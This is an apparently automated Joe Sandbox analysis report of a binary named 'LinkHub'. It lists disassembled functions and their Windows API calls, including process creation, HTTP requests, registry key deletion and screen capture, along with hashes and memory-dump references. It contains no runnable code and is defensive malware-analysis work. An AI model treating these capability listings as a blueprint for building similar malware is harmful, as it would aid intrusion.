                                                                            • Instruction ID: 91a26d026335d9c5cc039eb1eb03d591a880d8b2487c11da21c00c09249c8034
                                                                            • Opcode Fuzzy Hash: 8e1c0b7ee28412bd8e79709298af1e3ed4dd298130eb66966c3bbda6ae433de6
                                                                            • Instruction Fuzzy Hash: 94B1F5326087029FC710DF28E891A7BB7E5EF94724F50691EF496A7292D770D844CBA2
                                                                            Function 00E5BA59 Relevance: 24.4, APIs: 16, Instructions: 418processCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • _wcslen.LIBCMT ref: 00E5BBF8
                                                                            • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00E5BC10
                                                                            • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00E5BC34
                                                                            • _wcslen.LIBCMT ref: 00E5BC60
                                                                            • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00E5BC74
                                                                            • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00E5BC96
                                                                            • _wcslen.LIBCMT ref: 00E5BD92
                                                                              • Part of subcall function 00E40F4E: GetStdHandle.KERNEL32(000000F6), ref: 00E40F6D
                                                                            • _wcslen.LIBCMT ref: 00E5BDAB
                                                                            • _wcslen.LIBCMT ref: 00E5BDC6
                                                                            • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00E5BE16
                                                                            • GetLastError.KERNEL32(00000000), ref: 00E5BE67
                                                                            • CloseHandle.KERNEL32(?), ref: 00E5BE99
                                                                            • CloseHandle.KERNEL32(00000000), ref: 00E5BEAA
                                                                            • CloseHandle.KERNEL32(00000000), ref: 00E5BEBC
                                                                            • CloseHandle.KERNEL32(00000000), ref: 00E5BECE
                                                                            • CloseHandle.KERNEL32(?), ref: 00E5BF43
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
                                                                            • String ID:
                                                                            • API String ID: 2178637699-0
                                                                            • Opcode ID: 09f4c3cd2c5777c1cdddaf2d24fc7c75c76cab8876f4ad2ae9bd63693ebd7418
                                                                            • Instruction ID: 03c65dad52ec5fa5316ff1b6efbf1ca37f00ffd387a0c4e9b1e74b5ca8bd5fab
                                                                            • Opcode Fuzzy Hash: 09f4c3cd2c5777c1cdddaf2d24fc7c75c76cab8876f4ad2ae9bd63693ebd7418
                                                                            • Instruction Fuzzy Hash: 00F1BF716043009FC714EF24C891B6ABBE1EF84315F18995DF895AB3A2CB71EC49CB62
                                                                            Function 00E54A46 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • LoadLibraryA.KERNEL32(kernel32.dll,?,00E6DCD0), ref: 00E54B18
                                                                            • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00E54B2A
                                                                            • GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,00E6DCD0), ref: 00E54B4F
                                                                            • FreeLibrary.KERNEL32(00000000,?,00E6DCD0), ref: 00E54B9B
                                                                            • StringFromGUID2.OLE32(?,?,00000028,?,00E6DCD0), ref: 00E54C05
                                                                            • SysFreeString.OLEAUT32(00000009), ref: 00E54CBF
                                                                            • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00E54D25
                                                                            • SysFreeString.OLEAUT32(?), ref: 00E54D4F
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
                                                                            • String ID: GetModuleHandleExW$kernel32.dll
                                                                            • API String ID: 354098117-199464113
                                                                            • Opcode ID: 499840ad2cb7547c1230d5fc7b067e4f0a9c8c72b83df3079b453abc5db48926
                                                                            • Instruction ID: 2a959d45f1a4a89ed5b426625ce68703169acd5c295718425bbfbd438768e258
                                                                            • Opcode Fuzzy Hash: 499840ad2cb7547c1230d5fc7b067e4f0a9c8c72b83df3079b453abc5db48926
                                                                            • Instruction Fuzzy Hash: F1123EB1A00109EFDB14CF54C884EAEB7B5FF45319F149498F905AB291DB71ED8ACBA0
                                                                            Function 00DD381F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetMenuItemCount.USER32(00EA29C0), ref: 00E13F72
                                                                            • GetMenuItemCount.USER32(00EA29C0), ref: 00E14022
                                                                            • GetCursorPos.USER32(?), ref: 00E14066
                                                                            • SetForegroundWindow.USER32(00000000), ref: 00E1406F
                                                                            • TrackPopupMenuEx.USER32(00EA29C0,00000000,?,00000000,00000000,00000000), ref: 00E14082
                                                                            • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00E1408E
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
                                                                            • String ID: 0
                                                                            • API String ID: 36266755-4108050209
                                                                            • Opcode ID: ed80bd3a9adacde0be3930ac7a064b9c138338dcccb31313dc898aea8fb035b0
                                                                            • Instruction ID: f035f611421e5965daa7f01e303162ef442920a12ee9b550405e44272dbd1614
                                                                            • Opcode Fuzzy Hash: ed80bd3a9adacde0be3930ac7a064b9c138338dcccb31313dc898aea8fb035b0
                                                                            • Instruction Fuzzy Hash: B171F370B44305BEEB219B29DC49FEABF65FF08368F100216F624762D0C7B1A954DB61
                                                                            Function 00E67711 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • DestroyWindow.USER32(00000000,?), ref: 00E67823
                                                                              • Part of subcall function 00DD8577: _wcslen.LIBCMT ref: 00DD858A
                                                                            • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00E67897
                                                                            • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00E678B9
                                                                            • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E678CC
                                                                            • DestroyWindow.USER32(?), ref: 00E678ED
                                                                            • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00DD0000,00000000), ref: 00E6791C
                                                                            • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E67935
                                                                            • GetDesktopWindow.USER32 ref: 00E6794E
                                                                            • GetWindowRect.USER32(00000000), ref: 00E67955
                                                                            • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00E6796D
                                                                            • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00E67985
                                                                              • Part of subcall function 00DD2234: GetWindowLongW.USER32(?,000000EB), ref: 00DD2242
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
                                                                            • String ID: 0$tooltips_class32
                                                                            • API String ID: 2429346358-3619404913
                                                                            • Opcode ID: bf4b02195aa22bb2f6370bf060b2b9f3cc4035d2c74888aad3ca767dc6b9a152
                                                                            • Instruction ID: 80aae7288cb062caf19149da9c1883b6e129a105c9c2d362bf81c349d6bb8be5
                                                                            • Opcode Fuzzy Hash: bf4b02195aa22bb2f6370bf060b2b9f3cc4035d2c74888aad3ca767dc6b9a152
                                                                            • Instruction Fuzzy Hash: 9771AA70548240AFD725CF19EC48F6BBBF9EBC9348F445A1EF985A7261C7B0A909CB11
                                                                            Function 00DD146D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 168timeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD1802: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00DD1488,?,00000000,?,?,?,?,00DD145A,00000000,?), ref: 00DD1865
                                                                            • DestroyWindow.USER32(?), ref: 00DD1521
                                                                            • KillTimer.USER32(00000000,?,?,?,?,00DD145A,00000000,?), ref: 00DD15BB
                                                                            • DestroyAcceleratorTable.USER32(00000000), ref: 00E129B4
                                                                            • ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00DD145A,00000000,?), ref: 00E129E2
                                                                            • ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00DD145A,00000000,?), ref: 00E129F9
                                                                            • ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00DD145A,00000000), ref: 00E12A15
                                                                            • DeleteObject.GDI32(00000000), ref: 00E12A27
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                                            • String ID: <)
                                                                            • API String ID: 641708696-200976629
                                                                            • Opcode ID: 5130ec651ca1062f784fc0507ce5b9d9047d81391446041127f6ec090673deae
                                                                            • Instruction ID: 14be9a59122edbfcc6409d1adc81481f64896e4c63af5449ce430e05e1c6469b
                                                                            • Opcode Fuzzy Hash: 5130ec651ca1062f784fc0507ce5b9d9047d81391446041127f6ec090673deae
                                                                            • Instruction Fuzzy Hash: C9618834A04711EFCB358F19ED48B2A77B1FB85326F14511EE5826A660C374F8A8CBA0
                                                                            Function 00E4CEBB Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00E4CEF5
                                                                            • GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00E4CF08
                                                                            • SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00E4CF1C
                                                                            • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00E4CF35
                                                                            • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00E4CF78
                                                                            • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00E4CF8E
                                                                            • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E4CF99
                                                                            • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00E4CFC9
                                                                            • GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00E4D021
                                                                            • SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00E4D035
                                                                            • InternetCloseHandle.WININET(00000000), ref: 00E4D040
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
                                                                            • String ID:
                                                                            • API String ID: 3800310941-3916222277
                                                                            • Opcode ID: dbb23242a609fa39669ced68d5de670846e63d7b8011eb11582a221a338d972a
                                                                            • Instruction ID: 882d8a7f6b2c29d0a783dbb34038600a99f78afc0b9c5aa052b005edd3e361fa
                                                                            • Opcode Fuzzy Hash: dbb23242a609fa39669ced68d5de670846e63d7b8011eb11582a221a338d972a
                                                                            • Instruction Fuzzy Hash: 5451A171604604BFD7218F61EC44ABB7BFDFF08788F10541AF545A7110D774E9499B61
                                                                            Function 00E68FCB Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00E666D6,?,?), ref: 00E68FEE
                                                                            • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00E666D6,?,?,00000000,?), ref: 00E68FFE
                                                                            • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00E666D6,?,?,00000000,?), ref: 00E69009
                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,00E666D6,?,?,00000000,?), ref: 00E69016
                                                                            • GlobalLock.KERNEL32(00000000), ref: 00E69024
                                                                            • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00E666D6,?,?,00000000,?), ref: 00E69033
                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 00E6903C
                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,00E666D6,?,?,00000000,?), ref: 00E69043
                                                                            • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00E666D6,?,?,00000000,?), ref: 00E69054
                                                                            • OleLoadPicture.OLEAUT32(?,00000000,00000000,00E70C04,?), ref: 00E6906D
                                                                            • GlobalFree.KERNEL32(00000000), ref: 00E6907D
                                                                            • GetObjectW.GDI32(00000000,00000018,?), ref: 00E6909D
                                                                            • CopyImage.USER32(00000000,00000000,00000000,?,00002000), ref: 00E690CD
                                                                            • DeleteObject.GDI32(00000000), ref: 00E690F5
                                                                            • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00E6910B
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                            • String ID:
                                                                            • API String ID: 3840717409-0
                                                                            • Opcode ID: 922d29e30a3cc9cefa1c88d8707830adc358f288ea1f060f81453338bb7d0601
                                                                            • Instruction ID: 87a8ff4ff3b7a5888e7a1c16ff92944c11f4c40d5bd6432b93ef7e0df202e6a5
                                                                            • Opcode Fuzzy Hash: 922d29e30a3cc9cefa1c88d8707830adc358f288ea1f060f81453338bb7d0601
                                                                            • Instruction Fuzzy Hash: 54413971A00208BFDB119F66EC48EAB7BBCEF89794F104058F915E7261D7B09905CB20
                                                                            Function 00E5C06E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                              • Part of subcall function 00E5D3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E5C10E,?,?), ref: 00E5D415
                                                                              • Part of subcall function 00E5D3F8: _wcslen.LIBCMT ref: 00E5D451
                                                                              • Part of subcall function 00E5D3F8: _wcslen.LIBCMT ref: 00E5D4C8
                                                                              • Part of subcall function 00E5D3F8: _wcslen.LIBCMT ref: 00E5D4FE
                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E5C154
                                                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00E5C1D2
                                                                            • RegDeleteValueW.ADVAPI32(?,?), ref: 00E5C26A
                                                                            • RegCloseKey.ADVAPI32(?), ref: 00E5C2DE
                                                                            • RegCloseKey.ADVAPI32(?), ref: 00E5C2FC
                                                                            • LoadLibraryA.KERNEL32(advapi32.dll), ref: 00E5C352
                                                                            • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00E5C364
                                                                            • RegDeleteKeyW.ADVAPI32(?,?), ref: 00E5C382
                                                                            • FreeLibrary.KERNEL32(00000000), ref: 00E5C3E3
                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 00E5C3F4
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
                                                                            • String ID: RegDeleteKeyExW$advapi32.dll
                                                                            • API String ID: 146587525-4033151799
                                                                            • Opcode ID: da2f2e9edcd2ee658254944982c8c88016176fc05fc60089ac9f729aced1ec47
                                                                            • Instruction ID: 6efbceb8b5fbb5a192112b0400a61a81b749c0697118cdb00b9005e66c07ac82
                                                                            • Opcode Fuzzy Hash: da2f2e9edcd2ee658254944982c8c88016176fc05fc60089ac9f729aced1ec47
                                                                            • Instruction Fuzzy Hash: 20C16F34208701AFD710DF14C894F5ABBE1EF44318F64989DE8559B3A2CB75E94ACBA1
                                                                            Function 00E6A94F Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 271windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00DD24B0
                                                                            • GetSystemMetrics.USER32(0000000F), ref: 00E6A990
                                                                            • GetSystemMetrics.USER32(00000011), ref: 00E6A9A7
                                                                            • GetSystemMetrics.USER32(00000004), ref: 00E6A9B3
                                                                            • GetSystemMetrics.USER32(0000000F), ref: 00E6A9C9
                                                                            • MoveWindow.USER32(00000003,?,?,00000001,?,00000000,?,00000000,?,00000000), ref: 00E6AC15
                                                                            • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00E6AC33
                                                                            • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00E6AC54
                                                                            • ShowWindow.USER32(00000003,00000000), ref: 00E6AC73
                                                                            • InvalidateRect.USER32(?,00000000,00000001), ref: 00E6AC95
                                                                            • DefDlgProcW.USER32(?,00000005,?), ref: 00E6ACBB
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MetricsSystem$Window$MessageSend$InvalidateLongMoveProcRectShow
                                                                            • String ID: @$(
                                                                            • API String ID: 3962739598-2721164788
                                                                            • Opcode ID: 8b01fcb6e5872550413ed9f60efdecdeabe42fcd0d481f6a339e98ed81fbe9af
                                                                            • Instruction ID: 3458966666390f3ec8bceea1f51a9527869202abc08364fa9456b8cbb8aa48f7
                                                                            • Opcode Fuzzy Hash: 8b01fcb6e5872550413ed9f60efdecdeabe42fcd0d481f6a339e98ed81fbe9af
                                                                            • Instruction Fuzzy Hash: CBB19930A00219DFCF14CF69D9847AE7BB2BF44784F189079ED45BA295D770A984CF51
                                                                            Function 00E6976A Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00DD24B0
                                                                            • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00E697B6
                                                                            • GetFocus.USER32 ref: 00E697C6
                                                                            • GetDlgCtrlID.USER32(00000000), ref: 00E697D1
                                                                            • DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?), ref: 00E69879
                                                                            • GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00E6992B
                                                                            • GetMenuItemCount.USER32(?), ref: 00E69948
                                                                            • GetMenuItemID.USER32(?,00000000), ref: 00E69958
                                                                            • GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00E6998A
                                                                            • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00E699CC
                                                                            • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00E699FD
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
                                                                            • String ID: 0$(
                                                                            • API String ID: 1026556194-1385328161
                                                                            • Opcode ID: f9fe8398a8e46be0c6489dc2807c0acab0c723e68c1b12040e8cdde4a088f118
                                                                            • Instruction ID: 1f432fed72067fe0ab9934c29d2e5842345014493bc28faa19f68821e01b9939
                                                                            • Opcode Fuzzy Hash: f9fe8398a8e46be0c6489dc2807c0acab0c723e68c1b12040e8cdde4a088f118
                                                                            • Instruction Fuzzy Hash: 5281BE71A483019FD714CF25E885AAB7BECFB99398F00191DF985B7292C770D904CBA2
                                                                            Function 00E52FB9 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetDC.USER32(00000000), ref: 00E53035
                                                                            • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00E53045
                                                                            • CreateCompatibleDC.GDI32(?), ref: 00E53051
                                                                            • SelectObject.GDI32(00000000,?), ref: 00E5305E
                                                                            • StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00E530CA
                                                                            • GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00E53109
                                                                            • GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 00E5312D
                                                                            • SelectObject.GDI32(?,?), ref: 00E53135
                                                                            • DeleteObject.GDI32(?), ref: 00E5313E
                                                                            • DeleteDC.GDI32(?), ref: 00E53145
                                                                            • ReleaseDC.USER32(00000000,?), ref: 00E53150
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                                            • String ID: (
                                                                            • API String ID: 2598888154-3887548279
